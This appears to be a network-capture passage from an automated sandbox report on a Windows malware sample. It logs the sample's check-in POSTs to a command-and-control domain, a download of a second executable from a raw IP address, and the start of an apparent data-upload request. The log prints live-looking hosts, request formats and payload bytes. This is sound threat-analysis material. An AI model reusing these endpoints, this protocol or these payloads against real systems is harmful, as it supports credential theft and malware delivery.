Dec 26, 2024 12:42:11.565485954 CET	1.1.1.1	192.168.2.9	0x4c18	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:15.997533083 CET	1.1.1.1	192.168.2.9	0xf7ac	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:15.998269081 CET	1.1.1.1	192.168.2.9	0xdfcd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:23.111805916 CET	1.1.1.1	192.168.2.9	0x4b5a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:23.208724976 CET	1.1.1.1	192.168.2.9	0xfa68	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49780	185.215.113.16	80	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:41:42.467833996 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 26, 2024 12:41:43.890935898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Dec 2024 11:41:42 GMT Content-Type: application/octet-stream Content-Length: 2801664 Last-Modified: Thu, 26 Dec 2024 11:19:36 GMT Connection: keep-alive ETag: "676d3bc8-2ac000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c5 4d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+M+`Ui`D @ @ @.rsrcD``@.idata f@gtwxvlel@2h@vnlbxhun *@.taggant@+"@
Dec 26, 2024 12:41:43.891026974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:41:43.891041040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:41:43.891143084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:41:43.891155005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:41:43.891163111 CET	620	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:41:43.891169071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:41:43.891175032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:41:43.891364098 CET	1236	IN	Data Raw: 49 bd 6e 31 49 4d 4c 92 96 4e 46 90 bb b3 48 20 b9 bf 8f 21 49 bd 6e 31 49 4d 4c 92 96 4e 46 90 bb e7 48 20 b9 bf 8f 21 49 bd 6e 31 49 4d 4c 92 1b 4f 46 90 bb b6 49 20 b9 bf 8f 21 49 bd 6e 31 49 4d 4c 92 dc 50 46 90 71 5d 46 20 4f bf eb 23 49 bd Data Ascii: In1IMLNFH !In1IMLNFH !In1IMLOFI !In1IMLPFq]F O#In0IMLPFq]F O$IWMMQFq^F O$IoMMMFq^F O$IMMNFq^F O$IMMNFq^F O$IMMNFq^F O3%IqNMNFq^F O3%INMRFq^F O3%I
Dec 26, 2024 12:41:43.891376972 CET	1236	IN	Data Raw: 49 74 47 21 49 2d 4c 2d 4a 4e 46 3d 4f 5a 47 21 49 9c 4a 2d 4a 4e 46 fa 4d 5a 47 21 49 35 4b 2d 4a 4e 46 07 54 5a 47 21 49 2b 51 2d 4a 9d 66 20 49 4d 46 a6 61 f4 4f 26 49 4e 46 78 69 4d 46 20 49 d3 5e c7 52 4e 46 21 49 4d 46 20 49 cd 46 b1 69 4e Data Ascii: ItG!I-L-JNF=OZG!IJ-JNFMZG!I5K-JNFTZG!I+Q-Jf IMFaO&INFxiMF I^RNF!IMF IFiNOKJNF IMFIf7NG%IMF IFiOSJSF IMFIfNG'IMF IFiO`JVF IMFIfMG,IMF IFiKnJ\F IMFIfMG3IMF IFirNJdFiMF IFNGCIf IMFIJJpFjMF IFRGCIg
Dec 26, 2024 12:41:44.010601997 CET	1236	IN	Data Raw: 52 4e 46 26 4a 56 46 37 4e 4f 46 20 4a 58 46 af 52 4e 46 20 4a 5a 46 a8 4e 4e 46 25 4a 5c 46 2f 4d 4e 46 22 4a 5e 46 43 49 4e 46 20 4a 60 46 ed 4d 50 46 20 4a 62 46 b5 4d 4e 46 20 4a 64 46 45 51 4e 46 24 c9 4d 46 21 49 4d 46 20 49 4d 46 20 49 4d Data Ascii: RNF&JVF7NOF JXFRNF JZFNNF%J\F/MNF"J^FCINF J`FMPF JbFMNF JdFEQNF$MF!IMF IMF IMF IkN IQF IMF IMF IFRMMF IQF IMF IMF IFRMF IRF$ISF$ITF$IUF$IVF$IWF$IXF$IMF IM\|Fmw\|F\ aIkr ndgdI

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49722	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:19 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-26 11:41:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-26 11:41:20 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cfporvku752sn0bi9f50kp196v; expires=Mon, 21 Apr 2025 05:27:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2B1%2BdRbvL2zz7n%2FQxv0GcZ%2BmaNb25sjAZYrBU4LGKX3U6gNWooDPzGjLeht5lClGZQys1BMcH%2F5cQUnJuxE0eBi%2Bo4QIlv9XC031jKrGH3wSgntPPaY4W1gS635jqsU59Mk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cd17bb230f7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1547&min_rtt=1543&rtt_var=588&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1846932&cwnd=205&unsent_bytes=0&cid=d4229feae0501158&ts=643&x=0"
2024-12-26 11:41:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-26 11:41:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49728	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-26 11:41:21 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-26 11:41:22 UTC	1116	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=it44obvomrk12fe7tojovm851f; expires=Mon, 21 Apr 2025 05:28:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mZV4PvUVs2KWqMAmllD4qAQZcmPIpXwwOFA2QAsWpBZubTXBv82jun5f2BcnBX9KtYYfdwoPnRzNAOkylO6QMMOHQjQpTci7TqwDG0mDc0XjAPZx3O6e1RYTsPE2XF0cvn0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cd23fe1443c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1589&rtt_var=601&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=1811414&cwnd=32&unsent_bytes=0&cid=9edd9656e13328d2&ts=791&x=0"
2024-12-26 11:41:22 UTC	253	IN	Data Raw: 34 39 31 63 0d 0a 4f 47 6c 42 4a 62 79 46 51 39 7a 4d 36 35 6e 78 5a 6e 72 74 49 46 6c 54 6c 5a 62 6f 39 6f 41 4f 5a 31 2f 76 4e 4d 51 48 4d 31 46 44 53 7a 63 48 68 72 46 76 2f 72 2b 4f 75 38 73 53 43 4a 68 46 64 58 48 30 38 73 72 4d 35 6d 38 4c 4c 49 6f 59 35 6e 46 65 63 77 49 50 49 45 6e 50 34 47 2f 2b 71 5a 4f 37 79 7a 30 42 7a 30 55 33 63 61 2b 30 6a 5a 7a 69 62 77 73 39 6a 6c 2b 72 64 31 38 79 55 41 55 6d 54 64 6e 6d 4a 37 32 67 68 76 79 55 41 78 75 48 54 6a 41 2b 2f 66 76 4b 32 71 4a 72 48 58 33 56 46 6f 6c 69 52 7a 42 31 43 44 4a 4f 6e 76 68 76 70 2b 36 4f 39 39 4e 63 57 49 78 46 4f 7a 2f 7a 38 6f 4f 65 36 47 59 44 50 49 74 65 74 47 35 56 4f 56 41 4c 4a 55 7a 54 37 7a 4f 77 71 6f 48 33 6b 67 6b 62 7a 77 78 37 4e 75 2b 30 30 74 53 78 58 67 59 Data Ascii: 491cOGlBJbyFQ9zM65nxZnrtIFlTlZbo9oAOZ1/vNMQHM1FDSzcHhrFv/r+Ou8sSCJhFdXH08srM5m8LLIoY5nFecwIPIEnP4G/+qZO7yz0Bz0U3ca+0jZzibws9jl+rd18yUAUmTdnmJ72ghvyUAxuHTjA+/fvK2qJrHX3VFoliRzB1CDJOnvhvp+6O99NcWIxFOz/z8oOe6GYDPItetG5VOVALJUzT7zOwqoH3kgkbzwx7Nu+00tSxXgY
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 73 6e 45 4f 72 64 56 64 7a 52 55 55 36 42 39 6e 72 59 65 62 75 67 66 65 64 41 52 75 41 52 54 6f 78 35 66 75 4b 6c 2b 70 6b 41 54 65 43 57 61 6c 72 57 7a 52 53 41 69 52 49 32 65 38 6e 73 61 33 4a 74 64 4d 44 41 4d 38 61 65 78 48 6e 39 34 6d 41 37 33 31 46 49 73 4e 50 35 6d 4a 64 63 77 4a 4c 4a 55 6e 66 36 69 47 73 70 6f 4c 77 6c 68 59 54 68 6b 38 32 4d 66 72 2b 68 5a 66 69 61 77 38 33 67 6c 79 69 61 46 77 31 57 67 74 6a 43 5a 37 67 4f 66 37 32 79 64 69 57 46 42 2b 44 56 48 6b 4c 74 2b 76 45 6a 61 4a 72 43 58 33 56 46 71 35 67 55 6a 42 52 42 43 42 50 31 66 55 68 72 4b 69 45 2f 6f 45 43 48 59 46 49 4f 43 50 39 2b 6f 79 58 36 32 63 4d 4f 49 70 53 35 69 73 52 4e 45 4a 4c 65 77 66 2f 36 69 71 79 70 4a 37 37 30 78 74 57 6c 67 49 38 50 62 65 73 79 70 44 6a 61 41 Data Ascii: snEOrdVdzRUU6B9nrYebugfedARuARTox5fuKl+pkATeCWalrWzRSAiRI2e8nsa3JtdMDAM8aexHn94mA731FIsNP5mJdcwJLJUnf6iGspoLwlhYThk82Mfr+hZfiaw83glyiaFw1WgtjCZ7gOf72ydiWFB+DVHkLt+vEjaJrCX3VFq5gUjBRBCBP1fUhrKiE/oECHYFIOCP9+oyX62cMOIpS5isRNEJLewf/6iqypJ770xtWlgI8PbesypDjaA
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 76 69 55 4a 63 33 41 49 4e 30 54 55 70 52 53 39 6f 49 66 38 68 55 51 48 77 56 74 37 4e 76 75 30 30 74 54 76 62 51 30 37 6e 31 6d 72 5a 6c 38 39 56 51 34 73 54 39 37 6e 4c 4c 75 71 67 76 43 51 43 52 79 64 53 44 73 35 38 76 57 41 6e 71 49 69 52 54 71 56 46 76 34 6c 59 43 52 52 53 52 5a 45 30 4f 6b 6d 71 4f 36 57 74 59 70 45 48 34 4d 43 59 33 48 36 2f 49 2b 52 37 57 30 50 4d 34 68 63 71 6d 31 66 4d 45 67 45 4a 30 66 53 37 79 75 7a 6f 49 33 7a 6d 67 38 54 69 55 49 36 4f 37 65 36 79 70 50 36 4c 46 31 39 75 56 47 71 61 46 35 78 62 77 67 74 53 64 6e 78 59 61 48 67 6b 4c 75 55 43 46 6a 58 41 6a 63 34 39 2f 2b 41 6b 4f 4a 72 43 44 69 4f 55 61 56 6f 56 6a 6c 55 44 43 64 4c 31 2b 6f 6e 76 71 6d 4e 2f 6f 45 42 45 59 4e 4f 65 33 2b 33 38 35 4c 55 75 69 77 71 4f 70 74 Data Ascii: viUJc3AIN0TUpRS9oIf8hUQHwVt7Nvu00tTvbQ07n1mrZl89VQ4sT97nLLuqgvCQCRydSDs58vWAnqIiRTqVFv4lYCRRSRZE0OkmqO6WtYpEH4MCY3H6/I+R7W0PM4hcqm1fMEgEJ0fS7yuzoI3zmg8TiUI6O7e6ypP6LF19uVGqaF5xbwgtSdnxYaHgkLuUCFjXAjc49/+AkOJrCDiOUaVoVjlUDCdL1+onvqmN/oEBEYNOe3+385LUuiwqOpt
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 44 70 49 42 53 31 4f 30 2b 45 70 75 61 43 45 38 4a 55 50 48 34 68 45 4e 6a 6e 36 38 59 6d 56 35 6d 59 58 50 6f 5a 63 71 32 38 52 66 52 6f 4d 4f 77 65 47 70 77 61 79 68 35 6e 67 67 52 4a 59 6b 41 77 69 63 66 44 34 79 73 79 69 62 77 6f 30 67 6c 36 75 61 6c 34 33 56 41 30 6c 53 74 76 6f 4b 36 79 6d 68 2f 61 59 43 78 4f 64 51 6a 59 31 2b 2f 43 43 6e 2b 67 73 53 33 32 4b 54 75 59 39 45 51 5a 58 42 43 4e 45 79 4b 63 2b 38 4c 66 4a 2f 4a 39 45 51 4d 39 4f 4e 54 48 34 2b 49 61 66 36 6d 30 4a 4d 34 70 54 72 32 31 5a 49 56 73 50 4b 30 62 51 36 43 43 36 71 34 7a 2f 6c 41 41 65 67 41 4a 31 63 66 44 73 79 73 79 69 51 79 49 49 7a 33 65 63 4a 55 35 39 51 30 73 6b 53 35 36 2f 59 62 4b 74 68 66 4f 63 41 68 47 44 53 44 49 36 2b 2f 2b 4f 6d 4f 74 70 41 7a 79 49 55 36 64 68 Data Ascii: DpIBS1O0+EpuaCE8JUPH4hENjn68YmV5mYXPoZcq28RfRoMOweGpwayh5nggRJYkAwicfD4ysyibwo0gl6ual43VA0lStvoK6ymh/aYCxOdQjY1+/CCn+gsS32KTuY9EQZXBCNEyKc+8LfJ/J9EQM9ONTH4+Iaf6m0JM4pTr21ZIVsPK0bQ6CC6q4z/lAAegAJ1cfDsysyiQyIIz3ecJU59Q0skS56/YbKthfOcAhGDSDI6+/+OmOtpAzyIU6dh
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 55 75 53 4e 62 76 4b 4c 2b 71 6a 50 61 56 43 42 4b 4f 52 54 55 2f 2f 37 54 45 31 4f 56 30 52 57 58 4e 64 37 5a 2b 51 79 56 58 4b 69 35 49 6e 76 68 76 70 2b 36 4f 39 39 4e 63 57 49 5a 51 50 7a 7a 6c 2f 59 32 61 37 57 38 58 50 49 42 64 74 47 4a 65 4e 31 30 48 4a 55 6a 59 35 69 53 30 6f 6f 37 2b 6d 41 73 55 7a 77 78 37 4e 75 2b 30 30 74 54 4d 5a 78 59 71 6a 6c 69 74 63 30 70 7a 52 55 55 36 42 39 6e 72 59 65 62 75 69 76 43 59 41 42 69 44 51 6a 38 38 39 2b 61 46 6b 2b 56 6c 44 69 2b 48 55 61 46 75 57 54 68 56 44 54 46 4c 30 50 55 6b 72 4c 7a 4a 74 64 4d 44 41 4d 38 61 65 77 66 77 35 4a 71 58 6f 46 30 54 50 70 74 64 71 32 6b 52 4c 42 51 53 59 30 44 53 70 33 6e 2b 71 49 62 79 6b 41 73 5a 68 6b 34 32 4e 50 37 78 69 35 4c 6d 5a 67 38 39 69 31 43 6e 59 46 73 77 57 Data Ascii: UuSNbvKL+qjPaVCBKORTU//7TE1OV0RWXNd7Z+QyVXKi5Invhvp+6O99NcWIZQPzzl/Y2a7W8XPIBdtGJeN10HJUjY5iS0oo7+mAsUzwx7Nu+00tTMZxYqjlitc0pzRUU6B9nrYebuivCYABiDQj889+aFk+VlDi+HUaFuWThVDTFL0PUkrLzJtdMDAM8aewfw5JqXoF0TPptdq2kRLBQSY0DSp3n+qIbykAsZhk42NP7xi5LmZg89i1CnYFswW
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 47 70 79 4b 35 72 59 6a 78 6d 67 67 58 69 45 59 70 4f 2f 44 6d 69 35 58 70 59 51 6b 39 67 46 75 73 5a 46 67 2b 56 67 59 6b 51 4e 48 69 59 66 44 75 6a 75 50 54 58 46 69 75 54 7a 41 39 72 4b 37 4b 69 36 78 31 52 54 71 42 46 76 34 6c 55 54 6c 66 41 53 35 45 30 65 51 7a 76 36 69 62 2b 35 34 4f 43 6f 56 4a 50 6a 7a 36 2b 59 6d 53 35 47 63 4a 4c 34 52 57 70 57 34 52 66 52 6f 4d 4f 77 65 47 70 77 4b 70 75 49 50 38 6e 78 49 54 6a 6b 45 74 50 4f 65 30 78 4e 54 7a 61 78 52 39 31 55 43 32 63 6c 59 73 46 42 4a 6a 51 4e 4b 6e 65 66 36 6f 67 50 32 55 41 68 61 64 52 7a 30 2b 2b 50 32 44 6b 4f 70 76 42 54 6d 4a 55 61 4e 6d 58 54 68 64 43 43 78 44 31 2b 6b 6f 73 65 37 48 75 35 51 63 57 4e 63 43 47 69 72 30 2b 49 66 55 2f 53 49 63 66 59 70 61 35 6a 30 52 50 31 51 4f 49 30 Data Ascii: GpyK5rYjxmggXiEYpO/Dmi5XpYQk9gFusZFg+VgYkQNHiYfDujuPTXFiuTzA9rK7Ki6x1RTqBFv4lUTlfAS5E0eQzv6ib+54OCoVJPjz6+YmS5GcJL4RWpW4RfRoMOweGpwKpuIP8nxITjkEtPOe0xNTzaxR91UC2clYsFBJjQNKnef6ogP2UAhadRz0++P2DkOpvBTmJUaNmXThdCCxD1+kose7Hu5QcWNcCGir0+IfU/SIcfYpa5j0RP1QOI0
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 71 4f 79 38 2b 4a 30 4b 48 35 6b 43 4a 41 36 35 74 49 57 4f 6f 6a 51 38 4a 4d 31 52 71 69 55 4a 63 30 38 4d 49 30 44 45 38 53 61 79 76 34 4c 32 6e 79 59 58 69 46 51 34 50 76 54 6c 67 39 6a 70 59 55 56 7a 7a 56 47 2b 4a 51 6c 7a 64 51 77 31 52 50 48 6b 4d 4c 66 75 78 37 75 55 45 6c 6a 58 41 67 56 78 35 66 65 61 6c 2b 31 39 4f 33 33 56 54 35 67 6c 57 69 56 64 47 79 42 52 31 65 6f 74 72 35 44 4a 6f 38 64 57 53 74 30 51 61 53 36 33 36 37 58 61 6f 6d 31 46 5a 62 52 50 35 6e 4d 52 61 77 68 46 59 31 57 65 76 32 48 35 72 5a 76 70 6c 51 63 4f 6a 41 55 46 44 39 44 69 67 4a 50 79 61 78 49 79 7a 52 6a 6d 61 68 46 72 59 30 73 71 51 4d 58 32 4e 37 4f 2b 6a 72 75 73 53 6c 69 58 41 6d 4e 78 77 76 65 45 6d 75 56 36 46 48 43 71 51 4b 78 69 51 54 52 4e 42 47 4d 4a 6e 75 46 Data Ascii: qOy8+J0KH5kCJA65tIWOojQ8JM1RqiUJc08MI0DE8Sayv4L2nyYXiFQ4PvTlg9jpYUVzzVG+JQlzdQw1RPHkMLfux7uUEljXAgVx5feal+19O33VT5glWiVdGyBR1eotr5DJo8dWSt0QaS6367Xaom1FZbRP5nMRawhFY1Wev2H5rZvplQcOjAUFD9DigJPyaxIyzRjmahFrY0sqQMX2N7O+jrusSliXAmNxwveEmuV6FHCqQKxiQTRNBGMJnuF
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 65 32 49 53 42 43 4d 57 43 45 50 79 64 2b 47 6b 75 56 32 41 6a 75 72 64 75 59 72 45 54 77 61 55 78 6f 48 6c 71 63 65 38 4f 36 52 75 38 74 45 4c 59 78 4d 4e 54 62 68 35 63 65 38 77 56 59 2f 66 36 46 52 73 79 64 6c 4e 45 6f 61 4b 45 72 53 70 32 2f 2b 71 4d 6d 6a 77 30 70 59 69 31 4e 37 61 61 65 6d 30 63 47 78 4f 31 56 76 6b 68 69 2f 4a 55 64 7a 41 6c 6c 74 42 38 79 6e 65 66 37 70 69 75 6d 42 41 68 75 5a 51 58 77 50 79 64 4f 45 6b 2b 4e 36 46 53 71 43 61 4a 68 77 55 6a 31 55 44 44 56 57 6e 71 6c 68 73 65 37 52 77 74 4e 4d 57 4c 41 4d 65 79 6d 33 72 4d 71 68 34 57 49 4c 4f 70 74 48 36 30 4a 66 4e 46 73 64 4d 31 44 52 70 32 2f 2b 71 4d 6d 6a 77 55 70 59 69 31 4e 37 61 61 65 6d 30 63 47 78 4f 31 56 76 6b 68 69 2f 4a 55 64 7a 41 6c 6c 74 42 38 79 6e 65 66 37 70 Data Ascii: e2ISBCMWCEPyd+GkuV2AjurduYrETwaUxoHlqce8O6Ru8tELYxMNTbh5ce8wVY/f6FRsydlNEoaKErSp2/+qMmjw0pYi1N7aaem0cGxO1Vvkhi/JUdzAlltB8ynef7piumBAhuZQXwPydOEk+N6FSqCaJhwUj1UDDVWnqlhse7RwtNMWLAMeym3rMqh4WILOptH60JfNFsdM1DRp2/+qMmjwUpYi1N7aaem0cGxO1Vvkhi/JUdzAlltB8ynef7p
2024-12-26 11:41:22 UTC	1369	IN	Data Raw: 70 59 67 77 4a 6a 63 66 62 2b 6d 70 6e 74 61 30 6b 36 6c 31 48 6d 4b 78 45 39 47 6c 4e 6a 52 74 54 33 4c 4c 47 70 78 66 32 64 43 6c 69 51 44 43 4a 78 34 62 54 53 78 36 77 73 46 33 33 56 46 75 46 6d 51 79 46 63 43 44 56 45 6d 64 6b 66 6b 37 79 4f 36 35 42 47 4b 59 4a 47 4c 53 54 30 35 49 32 71 33 45 45 58 4f 70 31 56 35 46 52 48 4d 46 6f 46 4a 41 65 51 70 7a 6e 2b 39 73 6e 57 67 51 4d 49 6a 41 4a 31 63 66 75 30 30 74 54 76 66 67 49 74 6a 68 71 68 66 31 5a 7a 52 55 55 36 42 38 69 6e 65 65 33 67 79 65 6e 54 58 46 6a 49 54 44 59 77 39 50 71 4a 68 76 42 71 42 69 75 4f 45 5a 68 62 66 43 46 64 47 79 41 46 37 2b 6f 6c 71 4c 75 4b 36 35 51 36 4a 71 4a 51 50 43 48 30 74 71 61 54 37 32 41 37 41 37 70 48 6f 58 55 54 46 56 6b 64 49 41 65 51 70 7a 6e 2b 39 73 6e 57 67 Data Ascii: pYgwJjcfb+mpnta0k6l1HmKxE9GlNjRtT3LLGpxf2dCliQDCJx4bTSx6wsF33VFuFmQyFcCDVEmdkfk7yO65BGKYJGLST05I2q3EEXOp1V5FRHMFoFJAeQpzn+9snWgQMIjAJ1cfu00tTvfgItjhqhf1ZzRUU6B8inee3gyenTXFjITDYw9PqJhvBqBiuOEZhbfCFdGyAF7+olqLuK65Q6JqJQPCH0tqaT72A7A7pHoXUTFVkdIAeQpzn+9snWg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49734	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:24 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1KVSUJV3M9ZVAMSZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12839 Host: mindhandru.buzz
